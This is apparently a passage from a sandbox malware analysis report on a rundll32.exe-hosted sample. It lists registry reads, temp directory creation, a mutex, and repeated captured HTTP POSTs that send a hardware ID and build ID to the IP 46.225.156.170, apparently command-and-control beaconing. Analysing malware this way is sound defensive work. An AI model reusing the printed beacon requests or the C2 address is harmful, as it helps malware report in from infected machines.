345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----624360758c4fd5ce649fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----624360758c4fd5ce649fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----624360758c4fd5ce649fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0677680652a81b0a3a04Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "Language" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170"45:T99e,"rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005492-00000C17-3759184961 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00005492-00000C17-3759187033 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004656-00000C17-3756518955 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004656-00000C17-3756521315 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008812-00000C17-3753976836 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00008812-00000C17-3753979771 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004108-00000C17-3762056817 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004108-00000C17-3762058880 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009928-00000C17-3764887721 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009928-00000C17-3764890429 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009372-00000C17-3767488053 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009372-00000C17-3767490126 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009096-00000C17-3770124584 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00009096-00000C17-3770126706 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002724-00000C17-3772906708 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00002724-00000C17-3772908827 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004692-00000C17-3778190917 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004692-00000C17-3778193624 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004240-00000C17-3775675277 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004240-00000C17-3775677366 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004588-00000C17-3779751891 "rundll32.exe" queries volume information of an entire harddrive"C:\" at 00000000-00004588-00000C17-377975403446:T5ae,"rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\D559A586669B08F46A30A133F8A9ED3D038E2EA8"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\FEE449EE0E3965A5246F000E87FDE2A065FD89D4"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS\A377D1B1C0538833035211F4083D00FECC414DAB"; Key: "BLOB") "rundll32.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "rundll32.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "")47:T434,"rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\38060373 (UID: 00000000-00005492) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\312b0613 (UID: 00000000-00004656) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\89214639 (UID: 00000000-00008812) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\21179f5b (UID: 00000000-00004108) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\6c80c144 (UID: 00000000-00009928) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\b4f581dd (UID: 00000000-00009372) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\5313f591 (UID: 00000000-00009096) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\cf6124fe (UID: 00000000-00002724) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\9be90797 (UID: 00000000-00004692) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\0fb0404f (UID: 00000000-00004240) "rundll32.exe" called "CreateDirectoryA" with parameter %TEMP%\a61ed2e9 (UID: 00000000-00004588)48:T588,Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:5492:304:WilStaging_02" Process rundll32.exe created mutex with name "Gernsoalse" Process rundll32.exe created mutex with name "Local\SM0:5492:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Gernsoalse" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4656:304:WilStaging_02" Process rundll32.exe created mutex with name "Local\SM0:4656:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:8812:304:WilStaging_02" Process rundll32.exe created mutex with name "Local\SM0:8812:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4108:304:WilStaging_02" Process rundll32.exe created mutex with name "Local\SM0:4108:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:9928:304:WilStaging_02" Process rundll32.exe created mutex with name "Local\SM0:9928:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:9372:304:WilStaging_02" Process rundll32.exe created mutex with name "Local\SM0:9372:304:WilStaging_02" Process rundll32.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:9096:304:WilStaging_02"49:T739,Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "user-agent: "; Source: "00000000-00002724.00000001.309881.29B40000.00000004.mdmp") Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "user-agent: "; Source: "00000000-00003924.00000001.308493.929B0000.00000004.mdmp") Found string "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "mozilla/5.0 ("; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp") Found string "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0" (Indicator: "user-agent: "; Source: "00000000-00004108.00000001.309191.8A750000.00000004.mdmp")4a:T5b6,"Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00002724.00000001.309881.29B40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00003924.00000001.308493.929B0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00004108.00000001.309191.8A750000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00004240.00000001.310045.B3360000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00004588.00000001.310240.C4F10000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00004656.00000001.308817.FF150000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00004692.00000001.310142.58080000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00005492.00000001.309002.C1C40000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00008812.00000001.308653.64FA0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00009096.00000001.309701.A1290000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00009372.00000001.309513.C91D0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\Explorer" in Source: 00000000-00009928.00000001.309353.52D90000.00000004.mdmp4b:T131d,"rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2c8c1c84c20" "dwHeadersLength": "0" "lpOptional": "------5e946ea0547d96702826Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------5e946ea0547d96702826Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------5e946ea0547d96702826" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1fcff194bc0" "dwHeadersLength": "0" "lpOptional": "------dba9b0dbc59a919b320aContent-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------dba9b0dbc59a919b320aContent-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------dba9b0dbc59a919b320a" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1d964fe4bc0" "dwHeadersLength": "0" "lpOptional": "------c457a0fe2b8a157d82d3Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------c457a0fe2b8a157d82d3Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------c457a0fe2b8a157d82d3" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "22d8a797db0" "dwHeadersLength": "0" "lpOptional": "------bc7c5b692a9e8050346aContent-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------bc7c5b692a9e8050346aContent-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------bc7c5b692a9e8050346a" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "1dc52dd4af0" "dwHeadersLength": "0" "lpOptional": "------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------a43d2b9e7ee14c72dcd2" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "134c9217920" "dwHeadersLength": "0" "lpOptional": "------af7f3616fff1325641b5Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------af7f3616fff1325641b5Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------af7f3616fff1325641b5" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "28ca12d4bd0" "dwHeadersLength": "0" "lpOptional": "------851a11edff528699bb43Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------851a11edff528699bb43Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------851a11edff528699bb43" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "16729b87920" "dwHeadersLength": "0" "lpOptional": "------f107681a4041f27f3b3cContent-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------f107681a4041f27f3b3cContent-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------f107681a4041f27f3b3c" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "213580c7a30" "dwHeadersLength": "0" "lpOptional": "------0677680652a81b0a3a04Content-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------0677680652a81b0a3a04Content-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------0677680652a81b0a3a04" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "24ab33a71a0" "dwHeadersLength": "0" "lpOptional": "------624360758c4fd5ce649fContent-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------624360758c4fd5ce649fContent-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------624360758c4fd5ce649f" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"} "rundll32.exe" called "WinHttpSendRequest" with parameters {"hRequest": "279c4f56d90" "dwHeadersLength": "0" "lpOptional": "------043502fcb2eaa7589f8eContent-Disposition: form-data; name=\"hwid\"C2D62037A9A42F0E0910-07de0940-fa46-1446819------043502fcb2eaa7589f8eContent-Disposition: form-data; name=\"build_id\"a9df6a5aecc0f48c4202919b745863ba------043502fcb2eaa7589f8e" "dwOptionalLength": "345" "dwTotalLength": "345" "dwContext": "0"}4c:T4c3,"rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "2c8c1c84c20" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "1fcff194bc0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "1d964fe4bc0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "22d8a797db0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "1dc52dd4af0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "134c9217920" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "28ca12d4bd0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "16729b87920" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "213580c7a30" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "24ab33a71a0" "lpReserved": "0"} "rundll32.exe" called "WinHttpReceiveResponse" with parameters {"hRequest": "279c4f56d90" "lpReserved": "0"}4d:T3206,Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----18c333da903c0a55900cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170------18c333da903c0a55900cContent-Disposition: form-data; name="hwid"5B26888625475E99E0E3-07de0940-fa46-60E3A1E------18c333da903c0a55900cContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------18c333da903c0a55900cContent-Disposition: form-data; name="format"json------18c333da903c0a55900c--"; File: "PCAP") Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="format"json------c457a0fe2b8a157d82d3--"; File: "PCAP") Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170------dba9b0dbc59a919b320aContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------dba9b0dbc59a919b320aContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------dba9b0dbc59a919b320aContent-Disposition: form-data; name="format"json------dba9b0dbc59a919b320a--"; File: "PCAP") Found string "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----5e946ea0547d96702826Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0Content-Length: 345Host: 46.225.156.170------5e946ea0547d96702826Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------5e946ea0547d96702826Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------5e946ea0547d96702826Content-Disposition: form-data; 